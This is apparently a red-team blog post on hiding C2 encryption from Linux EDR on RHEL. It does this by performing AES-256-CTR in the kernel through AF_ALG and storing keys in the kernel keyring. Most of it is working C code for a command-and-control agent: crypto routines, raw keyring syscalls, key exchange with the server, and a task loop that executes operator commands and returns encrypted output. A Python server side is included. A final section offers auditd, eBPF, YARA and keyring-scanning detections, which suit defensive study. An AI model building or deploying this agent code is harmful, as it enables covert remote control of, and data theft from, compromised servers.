Overview

Over 90% of Fortune 500 companies run Red Hat Enterprise Linux in production. Database backends, identity infrastructure, CI/CD pipelines, internal APIs. When the workload is critical, it sits on RHEL. Yet nearly all public EDR evasion research focuses on Windows: NTDLL unhooking, direct syscalls, ETW patching, AMSI bypass. The Linux side, RHEL specifically, remains largely unexplored. EDR vendors reflect this asymmetry. Their Linux agents ship thinner telemetry, fewer behavioral rules, and weaker introspection compared to their Windows counterparts.

This creates an exploitable gap on the exact platform where the highest-value targets live.

This post walks through a technique I have built and validated on hardened RHEL 9: offloading C2 encryption entirely into the Linux kernel using two underexplored subsystems: AF_ALG (the kernel crypto API) and the kernel keyring. The result is AES-256-CTR encrypted C2 traffic where:

  • No userspace crypto library is loaded or linked (libcrypto.so, libssl.so, libgcrypt.so are absent from the process)
  • Key material never persists in process-addressable memory
  • The encryption is hardware-accelerated via AES-NI, executed by the kernel's own aesni_ctr_enc() code path
  • Static and dynamic analysis of the agent binary reveals no crypto function imports, no crypto constants, no high-entropy key blobs

Every section below includes working C code with kernel-level explanation of what happens beneath the syscall boundary.


Why Existing EDR Misses This

To understand why this works, you need to understand what Linux EDR actually monitors and where the gaps are.

Most commercial Linux EDR (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) builds detection around four pillars. Each one fails against kernel-space crypto for a specific architectural reason.

1. Shared Library Telemetry

What EDR does: Watches ld.so activity via /proc/pid/maps or hooks in the dynamic linker. When a process loads libcrypto.so.3, that's a signal. Combined with network activity, it raises the behavioral score for "process performing custom encryption."

Why it fails: AF_ALG uses no userspace crypto library. The encryption happens inside the kernel via the algif_skcipher module, which is already loaded as part of the kernel's crypto infrastructure. ldd on the binary shows only libc.so.6 and libcurl.so. There is nothing to flag.

2. Memory Scanning

What EDR does: Periodically scans process memory for known crypto artifacts: AES S-box constants (0x637c777b, the first 4 bytes of the Rijndael S-box), expanded key schedules (240 bytes for AES-256), and high-entropy regions that match key-length patterns (16/24/32 bytes of randomness).

Why it fails: With the kernel keyring approach, the key lives in a struct key allocated via kmalloc() in kernel address space. The only userspace exposure is a stack-allocated uint8_t key[32] that exists for microseconds between keyctl(KEYCTL_READ) and explicit_bzero(). No heap allocation. No persistent buffer. No S-box in memory either, because AES-NI uses hardware lookup tables in the CPU, not the software S-box array that EDR signatures match against.

3. Syscall Tracing

What EDR does: Hooks or traces syscalls via kprobes, tracepoints, or eBPF programs attached to sys_enter/sys_exit. Typical instrumentation covers execve, open, connect, sendto, recvfrom, ptrace, memfd_create.

Why it fails: AF_ALG operations use socket(), bind(), setsockopt(), accept(), sendmsg(), recvmsg(). These are the same syscalls every networked process makes.

The critical detail: when sendmsg() fires on the AF_ALG operation fd, the kernel dispatches into skcipher_sendmsg(), which calls crypto_skcipher_encrypt(), which resolves to aesni_ctr_enc() on AES-NI capable hardware. This entire crypto execution path happens within a single sendmsg() syscall context. An eBPF program on sys_enter_sendmsg sees a file descriptor and a buffer. It does not see that AES encryption happened inside that call. There is no separate "crypto syscall" to hook.

4. Static Binary Analysis

What EDR does: Scans binaries for imported symbols (EVP_EncryptInit_ex, AES_set_encrypt_key), strings (-----BEGIN, AES, RSA), or byte patterns matching known crypto implementations (S-box arrays, round constants).

Why it fails: An AF_ALG binary imports only standard POSIX symbols: socket, bind, setsockopt, accept, sendmsg, recv, syscall. The strings skcipher and ctr(aes) are the only crypto-related artifacts in the binary, and they look identical to what dm-crypt or cryptsetup would contain. No threat intel signature matches on them.


AF_ALG: How the Kernel Crypto Path Works

AF_ALG is address family 38, added in kernel 2.6.38 (2011). It exposes the kernel's internal crypto subsystem (crypto/ in the kernel source tree) to userspace through the socket API. The same subsystem that handles dm-crypt disk encryption, IPsec ESP transforms, and kernel TLS (kTLS) offload.

The Kernel Execution Path

When your process calls socket(AF_ALG, SOCK_SEQPACKET, 0), the kernel creates an alg_sock structure. The bind() call with a struct sockaddr_alg specifying salg_type = "skcipher" and salg_name = "ctr(aes)" causes the kernel to look up the algorithm in its crypto registry (/proc/crypto). On x86_64 with AES-NI, this resolves to the aesni-intel driver, which implements AES using hardware instructions (AESENC, AESENCLAST, AESKEYGENASSIST).

The setsockopt(ALG_SET_KEY) call copies the 32-byte key from userspace into the kernel's struct crypto_skcipher transform context. After this point, the key exists in kernel memory as part of the AES key schedule. The userspace buffer can be wiped.

The accept() call creates an operation file descriptor. Each accept() produces an independent crypto context, allowing concurrent encrypt/decrypt operations without locking.

On sendmsg(), the plaintext is passed via struct iovec, and the IV and operation flag (encrypt/decrypt) are passed as cmsg ancillary data. The kernel's skcipher_sendmsg() function receives these, sets up a skcipher_request, and calls crypto_skcipher_encrypt(). On AES-NI hardware, this dispatches to aesni_ctr_enc() which processes the data using the CPU's AES-NI pipeline. The ciphertext is written to the kernel's internal buffer. The subsequent recv() copies the ciphertext back to userspace.

The critical point: the entire encrypt operation, from plaintext ingestion through AES round computation to ciphertext output, executes in kernel context within the sendmsg() syscall. No userspace code handles any intermediate crypto state.

Inline Struct Definitions

AF_ALG uses kernel UAPI structs that are stable across kernel versions. I define them inline to avoid depending on linux/if_alg.h (which may not exist on minimal RHEL installs):

#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#define ALG_SET_KEY  1
#define ALG_SET_IV   2
#define ALG_SET_OP   3
#define ALG_OP_ENCRYPT 1
#define ALG_OP_DECRYPT 0

struct sockaddr_alg {
    uint16_t salg_family;    /* AF_ALG (38) */
    uint8_t  salg_type[14];  /* "skcipher", "hash", "aead", "rng" */
    uint32_t salg_feat;
    uint32_t salg_mask;
    uint8_t  salg_name[64];  /* algorithm name: "ctr(aes)", "cbc(aes)", etc. */
};

/* Ancillary data for IV delivery via cmsg */
struct af_alg_iv {
    uint32_t ivlen;
    uint8_t  iv[];  /* flexible array member */
};

AES-256-CTR via AF_ALG

static int alg_aes_ctr_crypt(int encrypt, const uint8_t *key,
                              const uint8_t *iv16,
                              const uint8_t *in, size_t inlen,
                              uint8_t *out, size_t *outlen) {
    int ret = -1;
    int tfmfd = -1, opfd = -1;

    /* Create AF_ALG socket. The kernel allocates an alg_sock
       and registers it in the skcipher subsystem. */
    tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (tfmfd < 0) return -1;

    struct sockaddr_alg sa;
    memset(&sa, 0, sizeof(sa));
    sa.salg_family = AF_ALG;
    memcpy(sa.salg_type, "skcipher", 9);
    memcpy(sa.salg_name, "ctr(aes)", 9);

    /* bind() triggers crypto_alloc_skcipher("ctr(aes)") in the kernel.
       On AES-NI hardware, this resolves to the aesni_ctr driver.
       The kernel verifies the algorithm exists in /proc/crypto. */
    if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
        goto cleanup;

    /* setsockopt(ALG_SET_KEY) copies the 32-byte key into the kernel's
       crypto_skcipher transform. The kernel expands it into the AES-256
       key schedule (14 rounds) using AESKEYGENASSIST instructions.
       After this call, the userspace key buffer can be wiped. */
    if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, 32) < 0)
        goto cleanup;

    /* accept() creates an operation fd with its own skcipher_ctx.
       Multiple accept() calls yield independent crypto contexts. */
    opfd = accept(tfmfd, NULL, 0);
    if (opfd < 0) goto cleanup;

    /* sendmsg() with cmsg carries the operation flag and IV.
       The kernel's skcipher_sendmsg() builds a skcipher_request,
       calls crypto_skcipher_encrypt/decrypt, which dispatches
       to aesni_ctr_enc() on AES-NI hardware.
       The entire AES computation happens in this syscall context. */
    {
        uint8_t cbuf[CMSG_SPACE(4) + CMSG_SPACE(sizeof(struct af_alg_iv) + 16)];
        memset(cbuf, 0, sizeof(cbuf));

        struct msghdr msg = {0};
        struct iovec iov;
        msg.msg_control = cbuf;
        msg.msg_controllen = sizeof(cbuf);

        struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
        cmsg->cmsg_level = SOL_ALG;
        cmsg->cmsg_type = ALG_SET_OP;
        cmsg->cmsg_len = CMSG_LEN(4);
        uint32_t op = encrypt ? ALG_OP_ENCRYPT : ALG_OP_DECRYPT;
        memcpy(CMSG_DATA(cmsg), &op, 4);

        cmsg = CMSG_NXTHDR(&msg, cmsg);
        cmsg->cmsg_level = SOL_ALG;
        cmsg->cmsg_type = ALG_SET_IV;
        cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 16);
        struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(cmsg);
        aiv->ivlen = 16;
        memcpy(aiv->iv, iv16, 16);

        iov.iov_base = (void *)in;
        iov.iov_len = inlen;
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;

        if (sendmsg(opfd, &msg, 0) < 0) goto cleanup;
    }

    /* recv() copies the kernel's output buffer to userspace.
       For CTR mode, output length equals input length (no padding). */
    {
        ssize_t n = recv(opfd, out, inlen + 64, 0);
        if (n < 0) goto cleanup;
        *outlen = (size_t)n;
        ret = 0;
    }

cleanup:
    if (opfd >= 0) close(opfd);
    if (tfmfd >= 0) close(tfmfd);
    return ret;
}

What strace reveals

socket(AF_ALG, SOCK_SEQPACKET, 0)              = 3
bind(3, {sa_family=AF_ALG, ...})                = 0
setsockopt(3, SOL_ALG, ALG_SET_KEY, ..., 32)    = 0
accept(3, NULL, NULL)                            = 4
sendmsg(4, {msg_iov=[{iov_base="whoami", iov_len=6}], ...}, 0) = 6
recvfrom(4, "\x8a\x3f\x1c\x9b\x22\x07", 70, 0, NULL, NULL) = 6

Generic socket IPC. Six bytes in, six bytes out. No crypto function calls visible at the syscall boundary. An eBPF program tracing sys_enter_sendmsg sees fd=4 and a 6-byte buffer. It does not see that aesni_ctr_enc() executed 14 AES rounds inside that call.


Kernel Keyring: Key Storage Below the Syscall Boundary

The Problem with Userspace Key Storage

Every public C2 framework that implements encryption keeps the key in process-addressable memory. Sliver stores it in a Go struct. Cobalt Strike keeps it in the JVM heap. Mythic agents hold it in a Python/C variable. This is fundamentally exposed to:

  • /proc/pid/mem reads by EDR with CAP_SYS_PTRACE
  • Core dump analysis after kill -ABRT
  • Memory forensics via LiME or /dev/crash
  • eBPF programs attached to kmalloc/__alloc_pages tracking high-entropy allocations

Kernel Keyring Internals

The Linux keyring subsystem (security/keys/ in kernel source) manages struct key objects in kernel memory. Each key has a type ("user", "keyring", "logon", "big_key"), a description (lookup name), and a payload. For "user" type keys, the payload is stored in a struct user_key_payload allocated via kmalloc() in kernel address space.

Keys are organized into keyrings. The session keyring (KEY_SPEC_SESSION_KEYRING, serial -3) is per-session and inherited across fork(). When the session ends, the keyring and all its keys are garbage collected by the kernel's key GC thread (key_garbage_collector workqueue).

The syscall interface:

  • add_key(type, description, payload, plen, keyring) - syscall 248 on x86_64. Creates a struct key, copies payload from userspace via copy_from_user(), stores it in kernel memory. Returns a key serial number (int32_t).
  • keyctl(KEYCTL_READ, key_serial, buf, buflen) - syscall 250. Copies the key payload from kernel back to userspace via copy_to_user(). This is the only point where key material re-enters userspace.

The important nuance: between add_key() and keyctl(KEYCTL_READ), the key material exists exclusively in kmalloc'd kernel memory. It is not in any userspace page. /proc/pid/mem cannot reach it. ptrace(PEEK_DATA) cannot reach it. Even process_vm_readv() cannot reach it. Only a kernel-mode debugger or /dev/kmem (disabled on all modern RHEL kernels via CONFIG_DEVKMEM=n) can access it.

Keyring Operations via Raw Syscall

No library dependency. No libkeyutils.so. Direct syscall numbers:

#include <stdint.h>
#include <unistd.h>
#include <sys/syscall.h>

#define __NR_add_key    248   /* x86_64 */
#define __NR_keyctl     250
#define KEYCTL_READ     11
#define KEYCTL_JOIN_SESSION_KEYRING 1
#define KEY_SPEC_SESSION_KEYRING   -3

/* Store arbitrary payload in kernel session keyring.
   Returns key serial (>0) or -1 on failure.
   After this call, the userspace payload buffer can be wiped. */
static int32_t kr_add_key(const char *desc, const void *payload, size_t plen) {
    return (int32_t)syscall(__NR_add_key,
                            "user",     /* key type: arbitrary userspace blob */
                            desc,       /* description: used for keyctl_search */
                            payload,    /* key material */
                            plen,       /* payload length in bytes */
                            KEY_SPEC_SESSION_KEYRING);
}

/* Read key payload back from kernel.
   copy_to_user() transfers from struct key to userspace buf.
   Returns bytes read, or -1 on error. */
static long kr_read_key(int32_t key_id, void *buf, size_t buflen) {
    return syscall(__NR_keyctl, KEYCTL_READ,
                   (unsigned long)key_id, (unsigned long)buf, buflen, 0);
}

The Key Lifecycle in a C2 Agent

/* 1. Generate 32-byte AES key on the stack */
uint8_t key[32];
int fd = open("/dev/urandom", O_RDONLY);
read(fd, key, 32);
close(fd);

/* 2. Move key into kernel memory.
   After this syscall returns, the key payload lives in a
   kmalloc'd struct user_key_payload inside the session keyring.
   The kernel increments the key's reference count. */
int32_t key_id = kr_add_key("session_key", key, 32);

/* 3. Wipe the stack buffer.
   explicit_bzero() is not optimized away by the compiler.
   At this point: zero copies of the key in userspace address space.
   gdb attach + heap search = nothing.
   /proc/pid/mem scan = nothing.
   The key exists only in kernel space. */
explicit_bzero(key, 32);

/* 4. When encryption is needed: retrieve key to a stack buffer,
   pass to setsockopt(ALG_SET_KEY), immediately wipe.
   The userspace exposure window is ~2-5 microseconds. */
uint8_t tmp[32];
kr_read_key(key_id, tmp, 32);
setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, tmp, 32);
explicit_bzero(tmp, 32);

/* The setsockopt copies the key into the kernel's crypto_skcipher
   transform via copy_from_user(). After explicit_bzero(), the key
   exists in two kernel locations: the keyring and the skcipher context.
   Zero userspace copies. */

Memory forensics perspective

Dump the process heap at any point after explicit_bzero():

$ gdb -batch -p <pid> \
    -ex "dump memory /tmp/heap.bin 0x$(awk '/heap/{print $1}' /proc/<pid>/maps | cut -d- -f1) 0x$(awk '/heap/{print $1}' /proc/<pid>/maps | cut -d- -f2)"
$ xxd /tmp/heap.bin | grep -c "high entropy 32-byte sequence"
0

The key is not there. It is in kmalloc-64 or kmalloc-128 slab cache inside the kernel, associated with the session keyring. To extract it, a defender would need:

  • Root + /dev/kmem (disabled in RHEL: CONFIG_DEVKMEM=n)
  • A kernel module that walks the keyring structures
  • A memory forensics tool like Volatility with a Linux keyring plugin (does not exist in mainstream builds)
  • Or: an auditd rule on add_key/keyctl syscalls to log the operation before it happens

Combined: Transparent C2 Wire Encryption

The two techniques compose into a complete encryption layer. The operator interacts with plaintext. The wire carries ciphertext. The agent process memory contains neither the key nor intermediate plaintext between crypto operations.

The wire format is ENC:<base64(IV || Ciphertext)>, where || denotes byte concatenation. The IV is 16 bytes (12-byte random nonce + 4-byte counter), followed by the raw ciphertext. Both sides produce and parse this identical format.

Registration: Key Exchange

At startup, the agent generates a 32-byte AES key, stores it in the kernel keyring, and exports a base64 copy for one-time transmission:

static int init_session_crypto(void) {
    uint8_t key[32];
    if (generate_random_bytes(key, 32) < 0) return -1;

    /* Key moves to kernel memory */
    int32_t kid = kr_add_key("mlarc_session_key", key, 32);
    if (kid < 0) {
        explicit_bzero(key, 32);
        return -1;
    }
    g_session_key_id = kid;

    /* Export base64 for one-time transmission to C2 server */
    size_t b64len;
    char *b64 = base64_encode(key, 32, &b64len);
    explicit_bzero(key, 32);  /* stack key wiped */

    if (!b64) { g_session_key_id = -1; return -1; }
    strncpy(g_session_key_b64, b64, sizeof(g_session_key_b64) - 1);
    free(b64);
    return 0;
}

The agent includes the key in the registration JSON:

/* Registration payload (sent once, over HTTPS) */
snprintf(json, sizeof(json),
    "{\"session_id\":\"%s\",\"hostname\":\"%s\",\"username\":\"%s\","
    "\"os_version\":\"%s\",\"arch\":\"%s\",\"agent_type\":\"rhel\","
    "\"session_key\":\"%s\"}",
    g_session_id, hostname, username, os_version, arch,
    g_session_key_b64);

The resulting HTTP request body on the wire:

{
  "session_id": "rhel-a1b2c3d4",
  "hostname": "ip-10-0-1-42.ec2.internal",
  "username": "ec2-user",
  "os_version": "RHEL 9.6",
  "arch": "x86_64",
  "agent_type": "rhel",
  "session_key": "TH15IsABase64EncodedAES256KeyThatIs44CharsLong=="
}

Key exchange security note: The session_key is transmitted in plaintext JSON, but the registration request itself travels over HTTPS (TLS 1.2/1.3). The key is protected by the transport layer during transit. This is a deliberate design choice: the agent already depends on HTTPS for C2 communication, so the key exchange inherits that transport security. The AF_ALG encryption layer protects against host-level inspection (EDR, memory forensics, process monitoring), not network interception. If an attacker can MITM the TLS connection, they have bigger problems than session key theft.

After successful registration, the agent wipes g_session_key_b64 with explicit_bzero(). From this point forward, the key exists in two places: the kernel keyring on the agent, and the server's database. Never again in agent process memory.

Encrypt Outbound (Agent to Server)

static char *session_encrypt(const char *plaintext, size_t len) {
    if (g_session_key_id < 0 || !plaintext) return NULL;

    /* Brief key retrieval from kernel: stack variable, ~2us exposure */
    uint8_t key[32];
    long kr = kr_read_key(g_session_key_id, key, 32);
    if (kr != 32) { explicit_bzero(key, 32); return NULL; }

    /* 16-byte CTR IV: 12-byte random nonce + 4-byte big-endian counter.
       Counter starts at 1 (not 0) to match NIST SP 800-38A convention
       and avoid the zero-block edge case where CTR(key, nonce||0x00000000)
       produces a keystream block that some implementations reserve for
       authentication tags (e.g., GCM uses counter=0 for GHASH). */
    uint8_t iv[16];
    generate_random_bytes(iv, 12);
    iv[12] = 0; iv[13] = 0; iv[14] = 0; iv[15] = 1;

    /* Kernel does the AES-NI encryption via AF_ALG */
    uint8_t *ct = malloc(len + 64);
    size_t ctlen = 0;
    int rc = alg_aes_ctr_crypt(1, key, iv,
                                (const uint8_t *)plaintext, len,
                                ct, &ctlen);
    explicit_bzero(key, 32);  /* key wiped immediately */
    if (rc < 0) { free(ct); return NULL; }

    /* Wire format: "ENC:" + base64( IV[16] + Ciphertext[N] ) */
    size_t wirelen = 16 + ctlen;
    uint8_t *wire = malloc(wirelen);
    memcpy(wire, iv, 16);
    memcpy(wire + 16, ct, ctlen);
    free(ct);

    size_t b64len;
    char *b64 = base64_encode(wire, wirelen, &b64len);
    free(wire);
    if (!b64) return NULL;

    size_t rlen = 4 + b64len + 1;
    char *result = malloc(rlen);
    memcpy(result, "ENC:", 4);
    memcpy(result + 4, b64, b64len);
    result[4 + b64len] = '\0';
    free(b64);
    return result;
}

Decrypt Inbound (Server to Agent)

static char *session_decrypt(const char *enc_str) {
    if (!enc_str || strncmp(enc_str, "ENC:", 4) != 0) return NULL;
    if (g_session_key_id < 0) return NULL;

    const char *b64data = enc_str + 4;
    size_t rawlen;
    unsigned char *raw = base64_decode(b64data, strlen(b64data), &rawlen);
    if (!raw || rawlen < 17) { free(raw); return NULL; }

    /* Extract IV (first 16 bytes) and ciphertext (remainder) */
    uint8_t iv[16];
    memcpy(iv, raw, 16);
    uint8_t *ct = raw + 16;
    size_t ctlen = rawlen - 16;

    /* Retrieve key from kernel keyring */
    uint8_t key[32];
    long kr = kr_read_key(g_session_key_id, key, 32);
    if (kr != 32) { explicit_bzero(key, 32); free(raw); return NULL; }

    /* Kernel decrypts via AF_ALG. CTR mode: same function, encrypt=0 */
    uint8_t *pt = malloc(ctlen + 64);
    size_t ptlen = 0;
    int rc = alg_aes_ctr_crypt(0, key, iv, ct, ctlen, pt, &ptlen);
    explicit_bzero(key, 32);
    free(raw);

    if (rc < 0) { free(pt); return NULL; }

    char *result = malloc(ptlen + 1);
    memcpy(result, pt, ptlen);
    result[ptlen] = '\0';
    free(pt);
    return result;
}

Main Loop Integration

static void main_loop(void) {
    while (!g_should_exit) {
        task_list_t tasks = poll_tasks();

        for (int i = 0; i < tasks.count && !g_should_exit; i++) {
            const char *cmd = tasks.tasks[i].command;
            char *decrypted_cmd = NULL;

            /* Inbound: auto-decrypt if server sent encrypted command */
            if (strncmp(cmd, "ENC:", 4) == 0) {
                decrypted_cmd = session_decrypt(cmd);
                if (decrypted_cmd) cmd = decrypted_cmd;
                /* Falls through to plaintext if decrypt fails (backward compat) */
            }

            char *result = dispatch_command(cmd);
            free(decrypted_cmd);

            /* Truncate before encryption to respect wire limits */
            if (result && strlen(result) > MAX_RESULT_SIZE) {
                memcpy(result + MAX_RESULT_SIZE - 14, "\n...[truncated]", 15);
            }

            /* Outbound: auto-encrypt result if session crypto is active */
            char *enc_result = NULL;
            if (g_session_key_id >= 0 && result)
                enc_result = session_encrypt(result, strlen(result));

            submit_result(tasks.tasks[i].task_id,
                          enc_result ? enc_result : result, NULL);
            free(enc_result);
            free(result);
        }
        if (tasks.tasks) free(tasks.tasks);
        if (!g_should_exit) sleep_jitter();
    }
}

The operator types whoami. The server encrypts it with the stored session key. The agent decrypts it in kernel space, executes whoami, encrypts ec2-user in kernel space, sends the encrypted blob back. The server decrypts and stores ec2-user in the database. The operator sees plaintext. Zero manual steps. All crypto invisible to EDR.

What the Wire Traffic Looks Like

Server sends encrypted command (response to agent's task poll):

{
  "receivedMessages": [{
    "ackId": "task-9f3a2b1c",
    "message": {
      "messageId": "task-9f3a2b1c",
      "data": "ENC:v7mJR3xK0QZhbNwPAAAAAfCkG8E9xQ==",
      "attributes": {}
    }
  }]
}

Agent sends encrypted result (POST to result submission endpoint):

{
  "subscription": "rhel-a1b2c3d4",
  "ackId": "task-9f3a2b1c",
  "data": "ENC:Lk82nVpDwYjT5fqRAAAAARqNv+Wl3pPYnQ=="
}

The data field is opaque base64 to any proxy, WAF, or network monitor inspecting the JSON. The ENC: prefix is an internal marker. The base64 blob contains IV[16] || Ciphertext[N]. Without the session key (stored only in the kernel keyring and the server DB), the payload is indistinguishable from any other base64-encoded telemetry data.


Server-Side: Matching the Wire Format (Python)

The C2 server needs to encrypt commands and decrypt results using the same AES-256-CTR wire format. Using the cryptography library (already present as a transitive dependency of python-jose):

import os, base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

def encrypt_command(plaintext: str, key_b64: str) -> str:
    """Encrypt a command for the agent. Returns 'ENC:<base64(IV + CT)>'"""
    key = base64.b64decode(key_b64)
    nonce = os.urandom(12)
    iv = nonce + b'\x00\x00\x00\x01'   # 16-byte CTR IV matching agent format
    cipher = Cipher(algorithms.AES(key), modes.CTR(iv))
    encryptor = cipher.encryptor()
    ct = encryptor.update(plaintext.encode()) + encryptor.finalize()
    return "ENC:" + base64.b64encode(iv + ct).decode()

def decrypt_result(enc_str: str, key_b64: str) -> str:
    """Decrypt 'ENC:<base64(IV + CT)>' result from the agent"""
    raw = base64.b64decode(enc_str[4:])
    iv, ct = raw[:16], raw[16:]
    key = base64.b64decode(key_b64)
    cipher = Cipher(algorithms.AES(key), modes.CTR(iv))
    decryptor = cipher.decryptor()
    return (decryptor.update(ct) + decryptor.finalize()).decode()

The encryption is conditional on the session having a session_key. Sessions from agents that don't support encryption (older builds, different platforms) continue to work in plaintext. The server checks if session.session_key: before encrypting outbound and if result.startswith("ENC:"): before decrypting inbound.


Verifying Kernel Crypto Availability on RHEL

# Verify ctr(aes) is registered in the kernel crypto subsystem
$ grep "ctr(aes)" /proc/crypto
name         : ctr(aes)
driver       : ctr-aes-aesni
module       : aesni_intel
priority     : 400
type         : skcipher

# Verify AES-NI CPU support (required for hardware acceleration)
$ grep -o aes /proc/cpuinfo | head -1
aes

# Verify kernel keyring is functional
$ keyctl show @s
Keyring
 247039271 --alswrv  1000  1000  keyring: _ses

# Verify CONFIG_CRYPTO_USER_API_SKCIPHER is enabled
$ cat /boot/config-$(uname -r) | grep CRYPTO_USER_API
CONFIG_CRYPTO_USER_API=m
CONFIG_CRYPTO_USER_API_HASH=m
CONFIG_CRYPTO_USER_API_SKCIPHER=m
CONFIG_CRYPTO_USER_API_RNG=m
CONFIG_CRYPTO_USER_API_AEAD=m

On RHEL 7/8/9, all of the above are enabled by default. algif_skcipher auto-loads when socket(AF_ALG) is called. No modprobe or kernel recompilation required.


Detection Guidance

Audit Rules (auditd)

# Detect AF_ALG socket creation (address family 38)
# Low noise: AF_ALG usage in userspace is rare outside cryptsetup/dm-crypt
auditctl -a always,exit -F arch=b64 -S socket -F a0=38 -k af_alg_usage

# Detect key creation in any keyring
auditctl -a always,exit -F arch=b64 -S add_key -k keyring_add

# Detect key read operations (payload retrieval from kernel to userspace)
auditctl -a always,exit -F arch=b64 -S keyctl -k keyring_ops

The socket(AF_ALG) audit rule is the highest-signal detection. On a typical RHEL application server, the only legitimate AF_ALG users are cryptsetup, dm-crypt, and occasionally libkcapi. A custom binary making AF_ALG calls is anomalous.

eBPF-Based Detection

For teams running eBPF-capable EDR or custom telemetry (Falco, Tracee, custom bpftrace):

/* bpftrace one-liner: alert on AF_ALG socket creation */
tracepoint:syscalls:sys_enter_socket /args->family == 38/ {
    printf("AF_ALG socket by PID %d (%s) UID %d\n",
           pid, comm, uid);
}

/* bpftrace: alert on add_key syscall */
tracepoint:syscalls:sys_enter_add_key {
    printf("add_key by PID %d (%s): type=%s desc=%s\n",
           pid, comm,
           str(args->_type), str(args->_description));
}

Behavioral Correlation

The strongest detection signal is the combination:

  1. Process has no libcrypto.so / libssl.so in /proc/pid/maps
  2. Process creates AF_ALG sockets (family 38)
  3. Process calls add_key / keyctl syscalls
  4. Process makes outbound HTTPS connections

Each alone is benign. Together, they indicate kernel-space crypto evasion with high confidence. No legitimate application encrypts data via AF_ALG while simultaneously making HTTPS calls without loading a crypto library.

YARA Rule for Static Detection

rule AF_ALG_Kernel_Crypto_C2 {
    meta:
        description = "ELF binary using AF_ALG kernel crypto with keyring"
        author = "AdvOpsLab"
        severity = "high"
    strings:
        $s1 = "skcipher" ascii
        $s2 = "ctr(aes)" ascii
        $s3 = { 26 00 }                     /* AF_ALG = 0x0026 LE */
        $kr1 = "mlarc_session_key" ascii     /* known key description */
        $kr2 = "session_key" ascii nocase
    condition:
        uint32(0) == 0x464c457f              /* ELF magic */
        and $s1 and $s2 and $s3
        and 1 of ($kr*)
}

Keyring Enumeration Script

Run periodically or on-demand during IR to find suspicious keys:

#!/bin/bash
# Enumerate non-standard keys in all user session keyrings
for pid in /proc/[0-9]*/; do
    sid=$(cat "${pid}sessionid" 2>/dev/null)
    [ -z "$sid" ] || [ "$sid" = "4294967295" ] && continue
    comm=$(cat "${pid}comm" 2>/dev/null)
    exe=$(readlink "${pid}exe" 2>/dev/null)
    keys=$(keyctl rlist @s 2>/dev/null)
    for kid in $keys; do
        desc=$(keyctl describe "$kid" 2>/dev/null)
        case "$desc" in
            *_ses*|*_uid*|*dns*|*keyring*) continue ;;
            *) echo "SUSPICIOUS: PID=$(basename $pid) comm=$comm exe=$exe key=$desc" ;;
        esac
    done
done

Conclusion

The Linux kernel ships with a complete, hardware-accelerated crypto stack and a secure key management subsystem. These exist for legitimate infrastructure: disk encryption, IPsec, kTLS, Kerberos. The same subsystems give an operator on RHEL the ability to encrypt C2 traffic with no userspace crypto footprint, no key material in scannable memory, and no behavioral artifacts at the syscall boundary that current EDR solutions flag.

For defenders: the audit rules and eBPF probes described above are deployable today. socket(AF_ALG) from non-standard binaries is a high-fidelity signal with near-zero false positives on application servers. Add it to your baseline.

The kernel is infrastructure. EDR trusts infrastructure. That trust is the blind spot.